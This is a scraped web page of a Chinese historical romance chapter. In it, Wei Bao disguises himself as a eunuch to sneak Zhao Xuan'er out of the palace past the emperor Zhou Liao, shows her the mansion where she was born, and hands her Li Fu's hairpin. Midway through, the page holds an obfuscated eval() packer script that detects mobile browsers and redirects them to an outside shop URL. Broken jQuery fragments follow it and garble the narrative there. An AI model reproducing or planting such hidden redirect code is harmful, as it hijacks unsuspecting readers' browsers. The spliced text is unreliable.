默认冷灰
24号文字
方正启体

10. 跑马道

作者:李玉裁本书字数:K更新时间:
    魏豹就着光翻来覆去地看她,手往桌案上一放,忽地皱起眉头,似是不忍心看到她流泪。


    他的声音沙哑,摇摇欲坠,从天而来。赵璇儿先是脸上一呆,抬起头来,却见他穿得一身淡青色的宦人衣裳,头发也随意地用青头巾包着。


    她用袖子将眼泪擦去,倔强地抿了抿唇:“你怎么在这?一个大男人私闯宫闱,该当何罪?你难道不知道宫规森严吗?”


    “我要是不知道就好了,何必穿得这样素净。”他噗嗤一笑:“我告诉你呀,方才这个和我换衣裳的小宦人可好笑了,我拉着他的后领,请他把衣裳借我,说要给他钱。结果他衣裳一脱,哆哆嗦嗦跑了,钱都没要。”


    赵璇儿破涕为笑:“多半是被你吓的吧,赶明儿我替你做个画,既这样管用,贴我这殿门上辟邪好了,夜里再不怕有小鬼来袭。”


    “你要怕鬼,我晚上也溜进来,就在门口看着你。”他坐下来,一手撑着膝盖,一手撑着下颌,哂笑一声,“反正你赵大小姐从小没少使唤我们。喏,我来做客,也不给我倒杯茶吃。算了算了,等一下我自己倒两杯。”


    “谁求你被我使唤啦?”赵璇儿没好气地瞥了他一眼,“还想吃茶?我看你是趁早些走,仔细你的皮!要是被你爹知道,还不得揍得你皮青脸肿?到时候可就真能吓死鬼喽。”


    “你这倒是说对了。”他起身来,却拉着她,“快跟我走吧。”


    这话大逆不道,赵璇儿被吓了个够呛。魏豹却不以为意,一边说从前他们不就是这样溜出去玩的吗,一边偷了件宫女的灰披风往她身上罩。


    赵璇儿已经被他拉到了穿廊上,迎面是习习凉风,吹得她脊背生寒。


    她忙扒着雕栏,往后倒了几步:“魏豹你快别胡闹了,你不要命我还要呢。”


    “嗳,你说这话就过分了啊。就算被人逮着,被罚的也指定是我不是你。就冲你叔父那样疼你,就是拿根木板子打你手心他也舍不得呀。你以为是我爹呢,动不动抄家法给我一顿抽。”他又唉声道,“我是有要紧事!”


    赵璇儿心一紧,忍不住觉得他这要紧事和女儿有关,又听他保证晚一些立即送她回来,不再说什么了。他拉着她跑,她也就裹紧了灰披风,把脸蒙得牢牢的,随着他一路向北跑去。


    西吴的建筑潦草,长安的皇宫和民居错落分布,很多地方以壕沟为界,并没有城墙。就是从未央宫行到长乐宫,皇帝的仪仗车驾也不得不经过一些民居大街。这里被称作陵县。


    住着的多是名门望族、学者文人、高官显宦。


    长衢罗夹巷,王侯多第宅。说的就是这个。


    赵璇儿小时候学过这首诗,总写错衢字的笔画,被爹打手心,如今可算是念念不忘了。意思就是长安宫里间隔着宽阔的大道,旁有不少的小巷子,里头都是王侯们数不尽的宅第。


    而魏豹住得还要近些。


    周辽赐给他爹和叔叔皇姓,赐居未央宫往北的阙宫。延续前朝旧制,那是皇亲国戚、开国大将才能住的地方。


    她娘是西吴公主,他们一家从前也住在那里。


    北阙和未央宫可以说是近在咫尺。


    外祖父还在的时候,娘牵着她的手,把她抱到舆上去。她们两个总是悠悠地,不紧不慢地,抬头看一看飞鸟穿越长安的蓝天。那时的长安城还是很晴朗,不像如今,动不动就有洪水作乱。


    从家里出发,乘上舆,再到未央宫里见到外祖父,往往不要一刻钟的时间。


    所以魏豹才这样轻易地潜入了。他们才能这么轻易来到北门。


    楼台高高,许多褚红色的立柱褪了色,细长的檐台下挂着无数生锈的晃着青影子的占风铎,轰轰烈烈有风吹来,却令人觉得无比得闷,似是闻到了西吴的旧空气,被人遗落在这里了。


    “喏,咱们上楼去,再从背面绕下来,翻过一座矮墙就到我家了。”


    他们上楼去,一路上见不到活人,本应放松下来。


    赵璇儿却觉得心惊肉跳。


    西吴一夜之间就崩裂了,会不会这座楼台也一瞬间坍塌下去,把她和魏豹活活压死?


    她不禁有了邯郸学步的架势,幽幽地一步一步往前挪去。


    “站住!”


    身后传来铁靴砸地的声音,再后来是一阵天差地别的稳重脚步。


    “陛下,是这两个人吗?”


    周辽负手站在他们二人身后,脚下还跪着两个人,一个寺人一个倡伎,穿得同样是淡青色布袍和灰披风,被卫兵死死擒在地上,因为看不清眉目,恍惚间有了替死鬼的感觉。


    周辽停住了脚,没有急于转到赵璇儿和魏豹跟前。他脸上已经有了浅浅的笑意,出口却依旧严肃得不行:“穿着宫人的衣裳往北阙去?你们是什么人?”


    魏豹吸了吸鼻息,挤着嗓子学阉人说话:“回陛下的话,小的想起来方才在北门炉子里添了太多干柴,怕会走水,这才叫了人一起去看看。”


    “哦?那倒是朕误会你们了。”他指了指地上的阉人和倡伎,又看了卫兵一眼。


    那穿着黑甲胄的卫兵会了意,忙道:“陛下,方才淮阳王暴室审人,这个宦官准是这倡伎的姘头,偷偷开了暴室的门,想带着这娘们逃跑。”


    “去了势还不老实,拖下去。”周辽无声地笑了笑,指桑骂槐起来很是慢条斯理。


    他又问:“你们两个怎么还不快回过头来,跪下请安?”


    魏豹又道:“奴婢不是有意怠慢陛下,这不是脸上发了水痘子,怕陛下见到沾上晦气。”


    “那她呢?”


    “她也发了痘。”


    周辽嗤了一声:“那就快去快回。既发了痘,早些回来抓药歇息,闭门不出,别出来害人。”


    “奴婢知道了。”


    他们两个逃过一劫,如愿走下楼台,来到了矮墙前。魏豹蹲跪下身子,拿肩膀给她当梯子踩。赵璇儿习以为常,双手扒着矮墙,等着他稳稳地站起来,给她顶得高高的,才不紧不慢爬到墙上坐好。


    魏豹翻墙下去,再给她做梯子,让她踩着肩膀下来。


    脚踏实地了,赵璇儿终于松了口气,问道:“是什么要紧事呢?”


    魏豹轻笑一声:“带你去看看我的新宅第。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17336276|199246||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>赵璇儿几乎不敢相信他在说什么:“你这样千辛万苦把我带出来,就是为了让我看看你的新宅第?”


    “对呀。”魏豹笑着点了点头,“你肯定会喜欢的。”


    赵璇儿气鼓鼓地跟在他身后,彻底不理他了。


    魏豹却撇了撇嘴,胸有成竹地拍拍胸脯:“我说了你会喜欢的。”


    赵璇儿还是生闷气。


    直到那座巍峨的甲第出现了,足有五人高,形状流利,像个圆脸细腰身的母兽。傍在墙上的枯柳条是她的皮毛,两侧对称的门洞是她巨大的眼睛,痴痴地看向远方,等待着旧主回来,把自己等成了个石像。


    那是她出生时住的宅第。


    她张着嘴巴,有些吃惊地回过头看了魏豹一眼。


    魏豹只是挥了挥衣袖,深藏功与名:“这里本来分给邹叔父了,我用了一千石的粮食和他交换来的。怎么样,够划算的吧?”


    他把她拉进去,指了指对过的高墙:“只可惜陛下把你小时候住的那个院子封起来了,说是要修什么跑马道,不然我指定也花钱给你换回来。”


    赵璇儿怔怔地应了一声,在一个漆黑色的屏风椅上摸来摸去,拉开抽屉,望见里头空无一物,大失所望。


    里头应当有着她小时候玩的各式各样的小东西,拨浪鼓、竹蜻蜓、七巧板……还有一大串她嫁妆箱子的钥匙。那些东西纵是被爹埋起来了,却也需要钥匙去打开。


    如今都不见了。


    她失魂落魄,以为这里被乱军洗劫过,下意识抽出另一个抽屉,却见娘的金簪、银簪、玉簪通通完好无损,一尘不染的。


    “赵璇儿,赵璇儿……你发什么呆呢。”魏豹拿手掌在她眼前挥了一挥。


    “啊?你说什么呢?”


    “我说,可惜你的院子被封起来了,陛下说是要修什么跑马道。”


    赵璇儿回过神来,气得将手握紧。


    这个该天杀的周辽,跑马道修到哪里不行,非要拿她小时候的院子来做。哦,从前他在那里挨过打遭过骂,等不及要一洗前耻了吧?


    好一个下马威。


    魏豹看着她,眉眼蹙起来,像个小心翼翼讨好丈夫的妻子,从袖中掏出一枚小小的金簪子。


    “这是李芙的。”


    赵璇儿心跳如鼓:“你,你知道李芙在哪?”


    魏豹摇了摇头:“这是半年前人家给我的,说是在琅琊王氏家里看见了李芙。本来我想派人接她走,结果李芙说自己是刘满意的女儿,死活不肯!如今她已经不在王家了。”


    “什么?”她顿觉有苦说不出。


    多半是周辽知道了,趁着亲征的时候将李芙绑走了。琅琊王氏乃是大族,有府兵保家卫国,又从不牵涉进战争,声望不小。怪不得他能顺利找到李芙,又将她带走。


    应当是王氏的人卖了人情给他。


    她的眉毛顺着目光低了低:“无论如何,我要谢谢你。魏豹,我真心谢你。”


    魏豹难为情地笑了笑:“都是举手之劳!你若真想谢我……不如回去和你叔父说你想嫁给我,给我一个照顾你的机会。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)